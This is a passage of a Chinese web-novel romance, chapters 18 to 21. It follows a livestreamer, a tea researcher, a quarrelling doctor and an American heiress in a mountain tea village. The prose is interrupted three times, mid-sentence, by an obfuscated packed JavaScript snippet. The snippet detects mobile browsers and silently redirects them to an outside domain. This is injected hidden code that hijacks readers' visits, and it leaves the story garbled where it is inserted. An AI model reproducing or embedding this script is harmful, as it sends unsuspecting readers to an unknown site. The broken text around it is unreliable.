她坐在书桌旁边的椅子上，目送陶风去卧室换衣服，不争气地咽了咽口水…… 换完衣服的陶风把小米粥倒进两个一次性的小碗里，又剥了个茶叶蛋，放在夏绵面前。 夏绵拿起勺子，小口喝着粥。 今天的早饭煮得很成功，小米粥熬得糯糯的，带着点甜味，奶油小白菜炒得也很爽口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“培育基地需要你家的茶园做试点，产线需要你的直播推广，品牌合作需要你和村民们做代言人……夏绵，我的未来里，到处都是你。不止这些规划，以后的每一天，我都想有你。” 夏绵的心跳漏了一拍，她看着陶风澄澈的眼睛，里面映着她的影子，清晰又明亮。 她吸了吸鼻子，突然笑了，带着点泪意： “那我们就做个约定好了，你不许离开我，我也不许离开你，我们一起努力，完成这上面的每一条规划。” 陶风伸手摸了摸夏绵的头，宠溺又暧昧。 “我知道。”陶风嗓音微沉，喑哑又魅惑：“你和我是命中注定的灵魂伴侣。” 夏绵有些害羞，抬起爪子捂住脸，声音从指缝里流出来：“那我以后，是不是可以随时来找你，我也可以不用顾忌年龄对你说敬语，夜里睡不着想你的时候，也可以发微信骚扰你……” 她的声音很甜很软，像含着一块糖。 “不可以随时。” 还没等夏绵把未来所有的可能性都想一遍的时候，陶风突然回答。 夏绵把手拿开，好奇地问：“为什么？” “因为有的时候，我在洗澡。” 夏绵：“……” 那种时候确实不宜见客…… 话说，陶老师的腹肌，真好看啊。 18. 第十八章 第十八章 镇子里的商业老街上，林望漫无目的地走着。 这里是他和夏绵读高中时常来的地方，街角的文具店还在，老板还是那个戴眼镜的大叔，柜台上摆着的棒棒糖还是当年的牌子。 他走店里，买了支冰棒，靠在门口的柱子上吃着，看着街上三三两两穿着校服的学生，突然觉得有点恍惚。 林望叹了口气，扔掉手里的冰棒棍，转身往回走。 走到路口时，他没注意看路，一辆红车子车突然拐过来，差点撞到他，轮胎在地上摩擦出刺耳的声音，吓得他赶紧往后退了两步。 林望吓了一大跳，但车上的司机却没有要下车关心他的意思，完全若无其事。 他站稳后拍着车窗，大声喊：“你开车不长眼睛啊？没看见有人吗？” 车窗慢慢降下，司机是个女人，虽然带着墨镜但依然能看出她精致的妆容，看起来气场很强。 她连头都没回，语气冷淡得像结了冰：“有事吗？” “有事吗？”林望被她的态度气笑了，“你刚刚差点撞到我！开车这么快，急着去投胎啊？” 女人这才转过头，透过墨镜上下打量了他一眼，语气里带着点不耐烦： “路这么宽，你自己不看路，怪你自己，而且，你看看这地上的线，这里根本不是人行道，是机动车转弯带，该道歉的是你才对。” “你这人怎么说话呢？”林望更生气了，低头一看，地上果然画着浅黄的转弯标线，心里咯噔一下，却嘴硬道，“那你也不能开这么快啊！吓到人了不知道吗？” “我车速没超限速，是你突然闯进来的。”女人的声音依旧平静，只是咬字不太清晰，“要么你赶紧让开，要么我报警，让警察来评评理，看是谁的责任。” 林望被她怼得哑口无言，论讲道理，他显然不是这女人的对手。 可心里的火气实在咽不下去。 他眼珠一转，突然捂着自己的膝盖蹲了下去，龇牙咧嘴地喊：“哎哟……我的腿……刚才被你的车刮的，现在动不了了……” 林望一边喊一边偷瞄女人的反应，见她眉头微蹙，赶紧加戏： “不行，你肯定是撞到我了！我现在站不起来……你得送我去医院检查，这可是你吓的！” 女人摘下墨镜，露出一双带着审视的眼睛，盯着他的腿看了几秒，像是在判断他说的是真是假。 林望被她看得有点心虚，只好梗着脖子继续喊：“哎哟……疼死我了……不送我去医院是吧？那我就坐在这儿不走了，让大家评评理，看看你开车吓伤人还不管……” 周围已经有路过的人停下来看热闹，对着他们指指点点。 女人的眉头皱得更紧了，沉默几秒，终于开口：“上车！” 林望心里一喜，面上却依旧痛苦：“能扶我一把吗？站不起来……” 女人不耐烦地叹口气，推开车门走了下来。 她走到林望身边，居高临下地看着他。 林望被她看得浑身不自在，刚想自己站起来，却被她一把架住胳膊，她的力道意外地大： “起来！” 林望踉跄了一下，顺势被她塞进了后座。 车门关上的瞬间，他偷偷咧了咧嘴。 跟他林望斗，还嫩了点！ Anna发动车子，透过后视镜看了眼后边还在哼哼唧唧的林望，眼里闪过一丝无奈。 她今天是来东岚村找陶风谈合作的，没想到会遇到这么个耍无赖的男人，真是晦气。 但眼下被这无赖缠住了，只能先送人去医院，再做打算。 * 医院门诊大厅里人来人往，消毒水的味道混着淡淡的百合花香，倒也不算难闻。 Anna扶着林望往里走，刚走到分诊台，一个穿粉色护士服的小姑娘就笑着打招呼：“林医生，早上好啊！今天这么早就来上班了？” 林望“哎哟”了一声，没接话。 Anna的脚步却顿住了，扶着林望胳膊的手猛地收紧。 她转头看向林望，问：“你是医生？” 话音刚落，又有一个男护士端着治疗盘经过，也笑着说：“林医生，今天脸色不太好啊，是不是熬夜了？” 林望这才慢悠悠地直起腰，脸上哪还有刚才的痛苦表情，甚至抬起胳膊摆了摆手：“没事没事，我就是工作太努力，累着了。” Anna意识到自己被耍了，刚才还装作柔弱需要搀扶的人，这会儿腰杆挺得笔直。 她气得抬手就狠狠掐了一把林望的胳膊，眼神狠戾：“你故意找我茬？” “疼疼疼！”林望龇牙咧嘴地躲开，揉着胳膊喊，“你这人怎么动手动脚的？我虽然是医生，但医者不自医懂不懂？万一被你撞得骨头出了问题，现在没感觉，以后留下后遗症怎么办？再说来都来了，做个检查你我都安心，对吧？” Anna被他这套歪理堵得说不出话，看着他嬉皮笑脸的样子，气不打一处来，却又找不到反驳的理由。 总不能真把他扔在这儿不管，毕竟刚才确实差点撞到他。 “挂号。”她从牙缝里挤出两个字，转身就往挂号窗口走。 林望赶紧跟上去，看着她对着挂号机手足无措的样子，忍不住吐槽：“号都不会挂？真是十指不沾阳春水的千金大小姐！” Anna回头瞪他一眼：“我不是千金，是万金。”说着抬脚就往他小腿上踢了一下。 “哟，你还来劲了？”林望气笑了，绕到挂号机前，熟练地操作起来，“急诊号，挂外科。” 他边说边瞥Anna，“这机器操作很简单的，看一遍就会，你学着点。” “我家有专业的医护团队，不用来医院。” Anna抱臂站在旁边，看着他行云流水的动作，心里的火气更大了，“国内医疗系统更新速度很快的，我哪懂这些。” 林望拿着挂号单，冲她扬了扬下巴：“走吧，万金大小姐，带你去见我的带教老师。” 急诊诊室里，朗大夫正低头写病历，听见脚步声，抬头看见林望就笑了：“怎么回事？我们林大医生也成病号了？” “朗老师，您快给我看看，我刚才不小心扭到腿了，现在有点疼，我得做个全套检查。” 林望一屁股坐在诊床上，还故意皱着眉，装出痛苦的样子。 “哦？你这孩子怎么这么不小心？”朗大夫推了推眼镜，“把裤子卷起来我看看。” 林望慢吞吞地卷起裤腿，朗大夫捏了捏他的膝盖和小腿，又让他做了几个屈伸动作，疑惑道：“你哪儿疼啊？我看挺好的啊。” “就是这儿……”林望指着自己的脚踝，“好像蹭到了。” 朗大夫仔细检查了半天，突 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朗大夫被逗笑了：“行了行了，赶紧处理一下伤口，小情侣别在这儿影响我工作。” 两人异口同声：“我们不是小情侣！” Anna拿着处方去药房取了药，把一小瓶碘伏和一包棉签丢在林望手里，转身就走。 走到门口又停下，回头看着林望，翻了个白眼，又用英语骂了句：“你这个无耻之徒。” 林望拿着药，嗤了一声：“彼此彼此。” * 结束了这个小插曲，Anna继续开车前往东岚村。 按照导航里的最佳路线行驶，车越往山里开，路越窄，两旁的树木越来越茂密。 她降下车窗，带着草木芳香的清新空气瞬间涌进车里。 这和城市里的味道完全不同，干净又鲜活。 山路蜿蜒曲折，一个急转弯后，眼前突然开阔起来。 远处的山峦连绵起伏，近处的茶园层层叠叠。 Anna忍不住放慢了车速，她被眼前的景色震撼到了。 她在纽约见多了钢筋水泥的丛林和彻夜不息的霓虹，习惯了繁华街头里的拥挤和商场的喧嚣。 在都市，每个人都行色匆匆，生活像上了发条的钟。 而这里，时间却在慢慢走。 山是静的，树是翠的，风里带着花草的气息，连鸟鸣都清脆得像风铃摇曳。 没有高楼大厦的压迫，没有汽车尾气的呛人，只有一种质朴而蓬勃的生命力，这让她觉得陌生又安心。 就在她看得入神时，车子突然颠簸了一下，陷进了路边的小山沟里。 Anna试了几次，车轮只是空转，根本动不了。 她叹了口气，只好解开安全带，拿着文件和包下了车。 沿着山路往村里走，脚下的石子路硌着鞋和脚，她却并不觉得烦躁。 路边的野花自由自在地绽放着，不知名的小虫在草丛里鸣叫，偶尔有风吹过，带来茶园的清香。 这里和第五大道的精致橱窗、曼哈顿中央公园的人工草坪截然不同。 这里的一切都带着自然的野趣和不加人工雕琢的本真。 Anna紧绷的心弦渐渐松弛下来。 或许，偶尔离开那个高速运转的世界，来到东岚村这样的地方，也很好。 19. 第十九章 第十九章 夏日天空，太阳高悬，日光把山路晒得发烫。 不知走了多久，Anna实在是累了，坐在路边准备拨打求助电话。 她正犹豫着是先给陶风打还是先给助理打的时候，突然听见身后传来细碎的说话声。 “这边这边，邱澜姐，你慢点，这块石头长了苔藓，很滑。” 是个清脆的小女孩声音。 Anna转过身，看见三个女人正从山坡上往下走。 走在前面的小姑娘扎着马尾，手里拎着个竹篮，里面装着刚挖的野草还是什么，中间的女人穿着一件老掉牙的碎花连衣裙，最后那个倒是眉眼清秀，手里也提着个篮子。 那三人也注意到了她，脚步慢了下来。 Anna打量了她们几眼，直觉告诉她，三个女人不是坏人，于是鼓起勇气上前。 “不好意思，请问你们是东岚村的村民吗？” “是啊，”夏绵先开了口，“你是？” “我从屿城来的，想去东岚村。” Anna指了指不远处陷在沟里的车，“我的车遇到了麻烦，这附近有没有交警？我该怎么联系？” “我们这里是山村，没有什么交警。”邱澜说：“不过我认识镇上一家拖车公司的老板，那个老板手脚麻利人也憨厚，我打个电话问问。” Anna感激地点了点头，顿时觉得她身上的碎花连衣裙一点也不老土了。 邱澜很快拨通了电话，三言两语说明了情况，挂了电话冲Anna笑：“老板说二十分钟就到，让咱们在这儿等着就行。” “谢谢你。”Anna松了口气。 “今天高温，马上就到中午了，”夏绵指了指不远处，“前面有个凉亭，咱们去那儿等吧，树荫底下凉快。” “我包里还有酸奶，刚从超市冰柜里拿出来的，现在估计还凉着呢。”陶浔晃了晃手里的帆布包，兴冲冲地带头往凉亭走。 凉亭是用粗木头搭的，顶上爬着几枝牵牛花，石凳被太阳晒得有点烫，夏绵摘了几片大叶子铺在上面：“先垫垫，别烫着。” 陶浔已经从包里掏出四盒酸奶，先递了一盒给Anna：“你尝尝，村里小卖部买的，原味的最好喝。” Anna接过方桶型塑料包装的酸奶，看着上面密封的塑料盖，又看了看底部粘着的吸管，有点犯难。 她平时喝的都是从日本空运到家里的酸奶，这种便携塑料包装酸奶她还真是第一次见。 “这样，”陶浔示范给她看，“用两个手指捏住这个微微翘起的边角，然后轻轻往后一撕，再把底下这个短短的吸管插进去……喏，这样就能喝了。” Anna学着她的样子操作，插好吸管，轻轻一吸，凉凉的酸奶便顺着吸管滑入口腔，酸酸甜甜的味道瞬间驱散了心里的燥热。 她下意识地用英文赞叹了句：“真是个好东西！” “她说的什么？”邱澜没听懂，好奇地问夏绵。 “她说酸奶很好喝。”夏绵解释道，又问Anna，“你是从屿城来的？但我听你的口音不太像屿城本地人。” “我是美籍华裔，”Anna两只手捧着酸奶盒，语气自然了些，“平时常住纽约和洛杉矶，前不久刚来屿城。” “我的天啊，”邱澜闻言睁大眼睛，拍了下夏绵的胳膊，“你看看你多厉害，直播都火到国外去了，咱们东岚村现在都有外国朋友来玩了！” “我不是来玩的。”Anna说，“我是来谈合作的，来找一个在东岚村工作的人。” “合作？”夏绵愣了一下，“没听说村里有谁跟外国人合作啊，你该不会是被骗了吧？现在骗子的骗术一天一个不重样。” “我没被骗，”Anna语气很笃定，“他是农科院的合作研究员，专门研究茶叶的，他现在就在东岚村勘察你们的茶园。” 夏绵和邱澜、陶浔对视一眼，陶浔先忍不住开口：“你说的那个人，是不是叫陶风？” Anna抬眼：“你认识他？” “他是我哥！” 正说着，远处传来货车的轰鸣声。 邱澜站起来朝司机挥了挥手：“来了。” 拖车公司的老板很快把Anna的车解救了出来，还热心地检查了车况，没什么大碍。 夏绵看Anna是第一次来村里，山路弯弯绕绕不好走，怕她不熟悉路况再出岔子，提议说：“我来开车送你们回村吧，这里的路我很熟悉，保准不会再陷沟里。” Anna犹豫了几秒，最后还是把车钥匙递给了她：“麻烦你了。” 夏绵开着车在山路上稳稳地行驶，陶浔和邱澜坐在后座，叽叽喳喳地跟Anna介绍村里的情况。 “前面那片就是我们共享茶园模式的茶园，你看长得多好，认养的网友可多了！” “你在国外生活肯定没见过国内的农村长什么样子吧？” “村里最老的茶树都有好几百年的年龄，比美国的历史还长……” Anna看着窗外掠过的茶园和梯田，偶尔有几个戴草帽的村民在地里干活，听见路上的车声都会抬头看一看。 这和她想象中的国内乡村不太一样。 东岚村没有破败和贫瘠，反而处处透着生机和淳朴。 车刚进村口，就引起了不少村民的注意。 毕竟村里从来没有这么漂亮的外国牌子车，更别说从车上下来的陌生女孩。 Anna穿着一身一看就价值不菲的米白色套装，气质贵气又干练，和村里穿着拖鞋、挽着裤脚的村民们格格不入。 “这是哪家的丫头啊？” “她看着不像咱们这儿的人。” “是不是来看茶园的？” 夏绵听见议论声，冲大家摆手：“这是Anna，来跟陶老师谈合作的老板，也是咱村的贵客，我带她去入住民宿，大家要多多关照喔！” 她口中的民宿，正是前段时间请装修队改造出来的几间老房子，如今已经重新改了水电路，也换了新家具，夏绵还给它们取了雅致的名字。 夏绵带Anna去的是最早装修好的“金风玉露阁”，这间院里有一棵邱阿婆年轻时种下的桂花树，里面的房间铺着浅色木地板，卧室里摆着一张老式雕花旧木床，整个院子有种新旧结合的特色感。 “你先歇歇，”夏绵帮她把行李箱拎进来，“热水壶在桌上，要喝水自己烧就行。有什么需要的就找我，或者给我打电话。” “谢谢你，夏小姐。” Anna看着夏绵脖颈处的的薄汗和真诚的笑脸，一股暖意缓缓渗入心底。 在纽约和洛杉矶待久了，见惯了商场上的客套和算计，这样不带目的的帮助倒是少见。 她顿了顿，在脑海里努力搜索出几个最能表达自己心意的词语，补充道，“你很善良，和这个村子一样，让人觉得舒服。” “不要这么客气，”夏绵说，“东岚茶还要靠你和陶风走向更大的市场。” * 安顿好Anna的夏绵一回到家，就趴在桌上写晚上的直播流程。 邱澜和陶浔凑过来，一人一边扒着桌沿，四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084742|179524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只眼睛紧紧盯着夏绵。 “夏绵姐，你不觉得有点不对劲吗？”陶浔先开了口，声音压得低低的。 “嗯？怎么了？” 邱澜接话：“那个Anna，长得又漂亮，穿得又讲究，还是从美国回来的大小姐，一看就不简单。她说她是来找陶风谈合作的，可我总觉得……” “觉得什么？”夏绵挑眉。 “觉得她对我哥心怀不轨！”陶浔斩钉截铁，“我从没听我哥说过农科院跟外国人做生意的事，估计她是借着谈合作的名义找上门来了！” “我觉得陶浔说得有道理，”邱澜认同点头，“你想啊，哪有甲方老板亲自跑到村里来的？派个助理来不就行了？” 正说着，邱澜的手机响了，她看了眼来电显示，赶紧走到一边接起。 夏绵和陶浔觉得意外，没听几句，邱澜的声音突然拔高，声音带着哭腔又带着喜悦： “真的？他真同意了？好……好，我明天就过去办手续！” 挂了电话，邱澜捂着脸蹲在地上，肩膀一抽一抽的。 夏绵和陶浔赶紧围过去：“发生什么事了？” “王旭……王八蛋同意离婚了！” 邱澜抬起头，眼泪噼里啪啦往下掉，她却咧着嘴笑，“律师刚才打电话跟我说，他写了忏悔书，我提的条件他都答应，明天就能办离婚手续！” 夏绵高兴得一把抱住她，轻轻拍着她的背： “太好了！阿澜你终于熬出来了！” 邱澜回抱住她，哭得更凶了，这回终于是喜极而泣： “谢谢你，阿绵，要不是你劝我，我和果果肯定还吃着苦呢……” 陶浔把随身携带的卫生纸递给抱在一起哭的两姐妹： “该哭就哭，哭完就舒坦了。我小时候，我妈就教育我，女孩子敢哭敢闹是好事，如果我们一直安静，那我们遭受的痛苦和不公就没人看见。” 等邱澜情绪平复些，夏绵才笑着说：“你俩刚才还胡乱猜测Anna呢！别瞎猜了，护肤品公司的事是真的，我昨天在陶风房间里看见他写好的未来规划，那上面写着要和Anna合开公司，还要开发以茶叶为中心的护肤品。” “什么？你昨天去陶风房间了？”邱澜眼睛一下子亮了，“你俩的关系已经发展到……” “你想什么呢！” 因为邱澜和陶浔脸上那不可言说的表情，夏绵全身止不住地发热，赶紧解释，“我给他送早饭，他就顺手给我看了看，我俩什么也没干！” “真的什么也没干吗？”陶浔挤眉弄眼，“我哥那么严肃的人，是不会把“规划”这样重要的文件拿给别人看的～” 夏绵被她们说得没辙，只好坐回竹椅上拿起笔假装写字： “别瞎猜了，赶紧干活吧，晚上还要直播呢。” 邱澜和陶浔对视一眼，偷偷笑了，挑逗完夏绵，各自忙去了。 与此同时，“金风玉露阁”的玄关处，林望正费力地把两个大行李箱推进来。 这房间是林望早就盯上的，当初夏绵指导装修队翻新邱阿婆家的老房子做民宿时，他一眼就看中了这处小院，院里那棵桂花树尤其合他心意。 他缠着邱阿婆软磨硬泡了好几天，阿婆被他缠得没办法，又经受不住高价租金诱惑，最后答应把这间房租给他。 “小爷我总算进来了。” 林望放下行李箱，眼角瞥见客厅里放着个香槟色的行李箱，看上去很精致。 走近一看，箱子锁门没关严，几件叠得整整齐齐的衣服就那么随意地露在外面。 20. 第二十章 第二十章 林望有强迫症，见不得东西乱糟糟的，他顺手就把箱子盖合上，拎起来放在了院门外，想了想，又写了个便签放上面，想着人家回来看到肯定方便拿。 做完这一切，他才打开自己的行李箱，开始往外拿东西。 刚把电脑放在桌上，就听见房间最里面的浴室传来震耳的音乐声。 是节奏感极强的重金属音乐，那鼓点敲得脑袋都发颤。 林望心中警铃大作。 上次在邱书记家吃饭，他端着碗在门口等着添饭，隐约听见夏绵和邱书记的聊天内容。 夏绵说最近东岚村的茶叶销量越来越好，连带着村里的文旅收入也越来越高，隔壁村那几个靠采石场发家的大家族，看在眼里急在心里，明里暗里使了不少绊子。前几天装修民宿的时候，还有人偷偷往里扔石头块。邱书记当时就叮嘱，让夏绵在外头别轻易露名字，她家和民宿周边也得装上监控器，就怕那些人狗急跳墙，来村里捣乱。 难道真被说中了？歹徒都摸到民宿里来了？还敢在浴室里放这么大动静的音乐，他们是想掩盖什么？ 林望瞬间绷紧了神经，蹑手蹑脚地走到浴室门口，侧耳听了听，音乐声还在继续，隐约夹杂着水声，像是有人在浴缸里扑腾。 他心里更急了，这一准是在里头搞破坏！ 林望转身往客厅跑，想找件趁手的武器，可客厅里除了搬不动的家具就只有几个摆设用的青瓷空花瓶，花瓶看着挺沉，真砸下去怕是要出人命。 目光最后落在墙角的电蚊拍上，他赶紧抓起来，按了下开关，只听见“滋啦”一声轻响，网面上闪过微弱的火花。 是个儿童玩具？ 林望愣了下，但这玩意儿黑黢黢的，火花特效看着唬人，拿着它总比赤手空拳强。 他握紧电蚊拍，深吸一口气，猛地撞向浴室门，大喊一声：“贼人哪里跑！” 浴室门被狠狠撞开，林望举着电蚊拍冲进去，下一秒，他和浴室里的人同时愣住了。 浴室里热气氤氲，浴缸里浮着层白色泡沫，Anna正靠在缸沿泡澡，头发松松挽在脑后，露出光洁的脖颈。 听见动静的她猛地抬头，脸上还沾着几滴泡沫。 两人对视三秒，Anna最先反应过来，尖叫着抓起手边的沐浴露就往林望脸上砸。 “靠！”林望捂着眼睛，吃痛尖叫，手里的电蚊拍“啪嗒”一声掉在地上。 两道尖叫声在金风玉露阁里炸开，节奏一高一低，惊得院里桂花树上的麻雀扑棱棱飞了起来，连隔壁夏绵家院子里的阿黄都跟着叫了几声。 半小时后，夏绵家的院子挤满了人。 Anna换了身海军蓝色连衣裙，脚踩细跟凉鞋，背挺得笔直，脸色铁青。 林望则顶着两个乌青的熊猫眼，额头上还有几道浅浅的破皮，一脸委屈地瞪着Anna，活像只受了气的大狗狗。 陶风站在夏绵身边，看着林望和Anna，微蹙着眉头。他实在没想到，再见Anna，竟然会是这样的场面。 夏绵也没料到会发生这种事，几次张嘴却不知道该怎么劝和。 林愿和陶浔缩在角落，你看我我看你。 邱阿婆拄着拐杖，满脸愁容。 邱书记背着手，在院子里踱来踱去，眼睛时不时地看向林望和Anna，生怕他俩一言不合就又动手。 林望控诉Anna不分青红皂白就打人，Anna大骂林望是偷看女孩洗澡的流氓，两人吵着吵着，连今天早上的恩怨都翻了出来。 最后，还是夏绵先开了口，对着Anna连连道歉： “Anna，对不起，是我没弄清楚情况，不知道林望早就租了那间屋子，我要是知道的话，肯定让他搬出去。” “夏绵你说得是人话吗！”林望一听就急了，指着自己的熊猫眼，“我可是你的竹马啊！我都被她打成猪头了，你却给她道歉？她一个外来客，凭什么值得你心疼啊？我也算半个东岚村人，论辈分，她还得叫我声哥！” “都怪我都怪我。”邱阿婆赶紧上前解释，“我这老婆子年纪大了记性差，之前答应小望把那屋给他住，结果转头就给忘得一干二净，也没跟夏绵说，让姑娘你受委屈了。” “到底谁受委屈啊！”林望急得快哭了，“我的眼睛差点被她这只母老虎打瞎，她还骂我耍流氓！我林望可是声名远扬的好好医生，怎么可能干那种事？” “你本来就是无耻之徒！”Anna冷冷地说，“闯进别人浴室还有理了？我看你就是故意的！” “谁让你洗澡不关大门的！”林望梗着脖子反驳，“我哪知道你在洗澡？” “我洗澡关不关门，关你什么事？”Anna提高了音量，声音里带着怒意，“我忘记锁门，就成了你不敲门闯进来的理由？你这种猥琐男，就该剁了喂狗！” 眼看两人又要吵起来，夏绵赶紧大喊一声：“停！” 她往前走了两步，张开胳膊挡在两人中间：“我突然想起来，金风玉露阁的后面还有个月华清风苑，是去年就翻新好的院子，今天上午刚装完空调，被褥和家具也都是新的，你们谁愿意搬过去住？” “让他去！” “让她去！” 两人异口同声，说完又同时瞪了对方一眼。 “我早就预订了金风玉露阁，我还交了租金，凭什么让给她？” “我就喜欢院里的那棵桂花树，先住进去的人是我。”Anna寸步不让，“除了金风玉露阁，我哪里都不住！” “无赖！”林望气呼呼地骂了句。 “流氓！”Anna立刻回怼。 两人你一句我一句，从“谁先住的房子”吵到“谁先闯进的浴室”，又从“谁的态度差”吵到“谁的人品有问题”，嗓门一个比一个高。 院门口围观的人也越来越多，邱书记朝着吃瓜群众摆摆手，无奈叹气：“年轻人闹脾气，没什么好看的，都散了吧。” “你们俩一起住在金风玉露阁不就好了。” 陶风突然开口，声音不高，却让吵得面红耳赤的林望和Anna瞬间停了下来。 夏绵揪着陶风的袖口，低声说：“就一个卧室啊！难道要让Anna和林望……太离谱了，不行不行坚决不行！” “不行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084743|179524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！”林望和Anna异口同声，脸上都露出嫌恶的表情。 陶风拍了拍夏绵的手，示意她不要担心，然后抬眸看着林望和Anna，缓缓解释： “邱阿婆之前跟我说过，原本那屋是两间卧室，后来她做茶叶生意，东西太多放不下，就把其中一间卧室拆了扩成客厅，所以金风玉露阁的客厅面积比一般的房屋大一半，我们可以在客厅做个隔间，用布帘拉着，再放张单人床，你们一人睡隔间，一人睡卧室，互不打扰。” “这主意好啊！”邱阿婆笑道：“我都快把这事儿给忘了。” “反正我不睡客厅！”林望立刻表态。 “谁稀罕跟你一起住？” “我跟我弟一个睡卧室一个睡隔间，客厅加不了你的床！” 林愿摇了摇头，说：“我住邱书记家挺好的，他家的床睡着舒服，我认床了，不想换地方。” “那就这么定了！”夏绵转头对邱书记说，“麻烦您联系下镇上的家具厂，让老板送张单人床来，再带块布帘。” 邱书记乐呵呵地应着：“事情解决了就好，我这就打电话，让他们赶紧送来。” 看着事已定局，邱云笑着招呼：“大家都别站着了，饭做好了，都进屋吃饭，有什么事儿坐下慢慢说。吵了半天，肚子该饿了吧。” 众人进了屋，陶浔和林愿忙着端菜。 一大盆西葫芦鸡蛋馅的水饺在白瓷盆里堆得像小山，蒸腾的热气里飘着饭菜香，勾得Anna直咽口水。 她在国外吃得要么是减脂的牛排沙拉，要么是餐厅里精致却量少的摆盘，这样热热闹闹一大桌，筷尖碰着碗沿叮叮当当的场面，她还是第一次体验。 “姑娘别嫌弃，乡下菜，没什么好东西，就图个热乎。”邱云边说边给她递过一双新的竹筷，筷子上还带着淡淡的竹香。 “不会，很丰盛。”Anna连忙接过筷子，看着满桌子的菜，不知道先吃哪个好。 “那个穿碎花裙子的人呢？她不吃饭吗？” “她叫邱澜，她明天要去办大喜事，所以回家收拾东西了。” “喜事？”Anna有些震惊地问：“她要结婚了？” “不是结婚，是离婚。”夏绵解释说，“她那个混蛋老公终于同意离婚了，她明天一早就去民政局扯离婚证，以后啊，她就能踏踏实实过日子了。” Anna点点头，没再多问，邱澜即将摆脱渣男，迎来新生，心里也为她觉得高兴。 炖得香喷喷的山笋炒鸡刚端上来，夏绵就给Anna夹了个大鸡腿：“尝尝这个，我姥姥炖了俩小时呢，用的是东岚山的泉水，比一般的鸡肉好吃。” 林望在旁边哼哼唧唧：“我被打成这样都没人疼，鸡腿都不给我夹一个。” 陶风没说话，夹起另一只鸡腿放进他碗里，淡淡说了句： “闭嘴，吃饭。” 林望悻悻地闭了嘴，低头啃起鸡腿，心想陶风这小子还怪有良心的，不仅没对自己落井下石，还浅浅安慰了下自己…… 嘴里塞着鲜嫩美味的鸡肉，他却重重地叹了口气。 唉，情敌太优秀了，我好难啊！ 21. 第二十一章 第二十一章 夏绵吃着水饺，觉得少点味道，起身去厨房拿了个玻璃罐。 罐子里面是邱云特意给她腌的剁椒酸豆角。 “哇，姥姥做的酸豆角！” 爱吃辣的陶浔凑过来，夹了一筷子放碗里，边吃边感叹，“姥姥特意挑最新鲜的豆角，辣椒也一个个去了籽，费劲心思就为了夏绵姐吃饺子的时候能吃上这口酸辣味。” Anna听着，夹菜的筷子顿了顿，悄悄瞥了一眼那个被夏绵视若珍宝的玻璃罐。 原来看着普通的一罐咸菜，需要付出这么多心思。 她想起自己的童年，爸妈常年去不同国家忙生意，她吃的也都是阿姨做的饭，阿姨每天端上来的不是牛排就是意面，阿姨从不会问她爱吃什么，更不会为她费半天劲腌一罐咸菜。 她从未体会过这种被人放在心尖上的偏爱。 看陶浔吃得欢快，林愿也忍不住尝了点，即使被辣得眯起眼睛，却又忍不住再夹一筷子。 * 午休过后，东岚村的两位主播开始直播。 夏绵举着手机，陶风站在旁边，手里捏着一片茶叶，给直播间的观众讲解着基础的茶叶知识。 “这种叶片边缘带锯齿的，是今年的春茶，氨基酸含量高，喝起来更鲜爽。旁边这种叶片宽一点的，是夏茶，茶多酚含量高……” 观看人数噌噌往上涨，评论和弹幕也是一条接一条： 【陶老师好帅好帅！主播好可爱啊！】 【夏主播和陶老师站一起好配啊！！！】 【刚认养了一棵茶树，坐等明年的新茶！】 【今天的互动好甜！本“接生级cp粉”大满足！】 本场直播的两只小助理，陶浔和林愿，不停地在旁边递水、拿样品，偶尔插句话活跃活跃气氛，不到两个小时，共享茶园的几十棵茶树就被认养一空，打包好的将近五十斤的茶叶也全卖光。 夜里，金风玉露阁的院门外，散完步的林望和Anna几乎同时回来。 两人对视一眼，谁都没说话，却默契地加快脚步，争先恐后地往屋里冲，都想抢占卧室的先机。 “我先到的！”林望仗着腿长，抢先一步摸到卧室门把手，使劲一拧。 门刚开条缝，Anna眼疾手快，借着自己身形纤细的优势，弯腰从他胳膊底下钻了过去，像只灵活的猫，几步冲到卧室里，“扑通”一声躺在床上，张开四肢摆成个“大”字，霸占了整张床：“我先占了！” 林望气得直跺脚，冲进去指着她：“你耍无赖！这是我先订的房间！” “谁抢到算谁的。”Anna躺在枕头上，挑眉看他，“有本事你把我挪出去。” 林望盯着她，突然从口袋里掏出钱包，抽出一张银行卡拍在床头柜上：“这里面有五万块钱，你去睡客厅，这卧室让给我。” Anna瞥都没瞥那张卡：“五万？你打发叫花子呢？” “十万！”林望咬咬牙，“我最多出十万，你别不识抬举！” “就算你给一百万，这卧室我也不换。”Anna干脆闭上眼睛，“要睡你睡客厅去。” “你！”林望被噎得说不出话，伸手就想去拉她胳膊，“你给我起来！” Anna猛地睁开眼，一把拍开他的爪子，声音冷下来：“你敢动我一下试试？信不信我现在就给夏绵打电话，说你闯进卧室耍流氓，让她把你赶出东岚村！” 林望的手蓦地僵在半空。 他确实怕夏绵。 从小到大，只要夏绵一板脸，他就没辙。 这女人倒是看得明白。 